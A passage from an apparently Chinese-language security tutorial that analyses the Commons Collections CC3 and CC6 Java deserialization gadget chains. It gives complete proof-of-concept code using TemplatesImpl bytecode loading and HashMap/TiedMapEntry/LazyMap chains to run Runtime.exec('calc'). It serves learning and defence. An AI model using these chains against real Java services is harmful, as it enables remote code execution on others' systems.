Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

serialize(o);
unserialize("ser.bin");

}

CC3

CC3这条链子和前面的两条链有些不同,在这条链子中我们使用了动态类加载替换掉了Runtime.exec,由命令执行换为了代码执行

类加载

我们来回顾一下动态类加载:

ClassLoader中的loadclass调用findClassfindCLass调用defineClass

  • loadClass 作用是从已加载的类、父加载器位置寻找类(双亲委派机制),当前面没有找到的时候,调用 findClass 方法
  • findClass 根据名称或位置来加载类的字节码,其中会调用 defineClass
  • dinfineClass作用是处理前面传入的字节码,将其处理成真正的Java类

由此我们可以知道,核心部分为defineClass

tips:这里的defineClass需要我们多寻找几种参数类型的,因为有些参数类型的方法在外部并没有被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}

protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
......
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

......
}
}
......
}
}

// findClass 方法的源代码
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

// 最后findclass会调用defineClass
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

CC3攻击链分析

调用defineClass

defineClass只进行类的加载,而只加类加载是不会执行代码的,所以我们需要找到一个实例化的地方

我们需要找到作用域为public的类,方便我们利用。最后在TemplatesImpl中的defineClass找到了调用ClassLoader中的defineClass方法

由于这个类前面并没有标明作用域,所以为default,只有自己的包中可以调用

find usages后,找到了defineTransletClasses调用了该方法,但该方法仍然是private方法,我们需要找到public调用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
private void defineTransletClasses()
throws TransformerConfigurationException {
......

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

......
}

......
}

实际上我们找到了三个地方,但具体是否可以让我们利用还得进一步看

  1. getTransletClasses

这里只是把_class原封不动返回并无利用处

1
2
3
4
5
6
7
8
9
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
  1. getTransletIndex

这里是把他的下标返回了回来,也无利用处

1
2
3
4
5
6
7
8
9
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
  1. getTransletInstance

这个方法初始化了我们传入的加载的类,并且将我们这个类返回,我们可以来执行任意代码了

但仍然是一个private方法,继续回找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
......
}

调用getTransletInstance

这里我们只找到了一个方法,幸运的是这个是一个public方法

1
2
3
4
5
6
7
8
9
10
11
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

.......
return transformer;
}

现在只需要一个东西去调用newTransformer的newTransoformer方法即可执行恶意代码

这简单的两句代码,已经把执行的逻辑走完了,但是内部肯定有一些东西我们需要修改

1
2
3
4
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
}

后续调整

进入到newTransformer,这里是不需要任何赋值,就可以走到getTransletInstance的,我们继续往里走

这里若_name为空则会return所以_name我们需要赋值

我们想要走到definTransletClasses,则需要_class为空,则_class不需要赋值

这个类的无参构造什么都没有做,但它继承了Serializable接口,我们可以利用发射来修改他的值

1
2
3
public TemplatesImpl() { }

public final class TemplatesImpl implements Templates, Serializable

继续走入defineTransletClasses方法,如果_bytecodes为空的话,则会抛出异常,因此我们需要给它赋值

下面的_tfactory是需要调用方法的,防止爆空指针错误,导致无法继续执行后面代码,所以我们也需要给他赋值

现在有三个变量是我们需要去赋值的_name_bytecodes_tfactory

_name这个变量可以随便赋一个字符串类型的值,这里就不过多赘述

接下来我们看看这个_bytecodes是什么类型的private byte[][] _bytecodes = null;他是一个二维数组

我们看一下defineClass的逻辑,它接收了一个一维数组,我们看看谁调用了它

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

发现在defineTransletClasses方法中调用了它,实际上这里是一个for循环,把二维数组中的每一个数组都遍历出来,我们只需要将一维数组套用到另一个数组内,变成二维数组传入就好

这里的一维数组就是我们传入的字节码对象,defineClass会将他处理成Java类

最后还有一个_tfactory,它标识了transient,说明在序列化和反序列化时是不会传入的,但是在readObject中会初始化它

我们正着来测试一下它,所以在序列化阶段我们先给他赋值,它是一个TransformerFactoryImpl

1
_tfactory = new TransformerFactoryImpl();

具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

//为_name赋值
Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

//为_bytecodes赋值
byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

//可有可无
Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}

但是这里爆了一个空指针错误,我们跟着看一下

报错是由defineTransletClasses这个方法的下列部分引起的,如果我们传入字节码对象的父类不为ABSTRACT_TRANSLET,就会走到else部分中,我们上面说过_class是不赋值的,因此我们这里让执行类的父类变成ABSTRACT_TRANSLET,上面有标注这个常量

1
2
3
4
5
6
7
8
9
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

使Test继承AbstractTranslet类,并实现他的抽象方法,修改好后编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
}

最后也是成功弹出了计算器

调用newTransformer

现在我们只需要用cc1后半段的代码,来执行`newTransformer`方法即可

这里ConstantTransformer传入templates

InvokerTransformer去动态调用templates的newTransformer方法

1
2
3
4
5
6
7
8
 Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform(1);

最后把cc1的后半部分直接拿过来即可使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// chainedTransformer.transform(1);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

// serialize(o);
unserialize("ser.bin");

}

这里实际就是换了一个代码执行的方式,有些黑名单可能对InvokerTransformer进行了过滤,我们从ChainedTransformer新开一条路来执行代码

CC6链

tips:cc6这条链是不受jdk版本限制的

cc6的入口换成了HashMapreadObject方法,这条链实际是要调用LazyMap的get方法,后面的部分就和ysoserial中的cc1后半链一样了

当时我们说URLDNS链中讲到了 HashMapreadObject方法,调用了hashCode方法,现在我们需要去找一个类,它的hashCode方法需要去调用LazyMapget方法

CC6攻击链分析

调用LazyMap.get

这里就是`TiedMapEntry`类(以下是该类的部分代码)

该类的hashCode方法调用了自身类的getValue方法,该方法中调用了map的get方法,该类的map和key参数都是可控的,map为LazyMap时,就会调用LazyMapget方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

剩下的部分都和cc1是相同的

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

现在我们需要一个构造TiedMapEntry类,由于它是public属性的,我们直接new就可以了

1
2
3
4
5
//其中将lazyMap放入他的map位置,因为上面说了,调用的是map的get方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, 1)
//构造一个HashMap去存TiedMapEntry,调用key位置的hashcode方法
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

下面我会给出链子相关的源码,来简单看一下这条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HashMap.readObject部分源码
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
// HashMap.hash源码
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// TiedMapEntry.hashCode源码
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

构造的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, 1);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

// serialize(map2);
unserialize("ser.bin");

}

最后调整

现在有一个问题就是,在put(entry,1)的时候,就已经触发了计算器

是因为在HashMap的put方法时,就已经触发了它的hash方法(部分代码rux)

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们现在回到URLDNS那个链的想法,先传入一个无用的东西,然后通过反射修改

1
2
3
4
5
6
7
// 前面将lazyMap中的一个值换为一个无用的值
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));
// 这里通过反射来修改回来
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

但是实际情况还是无法执行,我们跟进去看一下

这里实际上说,如果在map中没有这个key的话,就把他put进去,实际上确实是没有这个key的,所以它也确实put了一个东西进去

1
2
3
4
5
6
7
8
9
10
// 动态调试跟到这里
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里我们可以简单跟一下,在最后的LazyMap.get中put了一个键值对,这个key就是我们在构造TiedMapEntry时所传入的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// CC6.java
map2.put(entry, "qwe");
// HashMap.put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// HashMap.hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// LazyMap.get
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里也很简单,只需要把put进去lazyMap的remove掉不就好了吗(最终poc如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, "abc");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, "qwe");
lazyMap.remove("abc");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


serialize(map2);
unserialize("ser.bin");

}

0%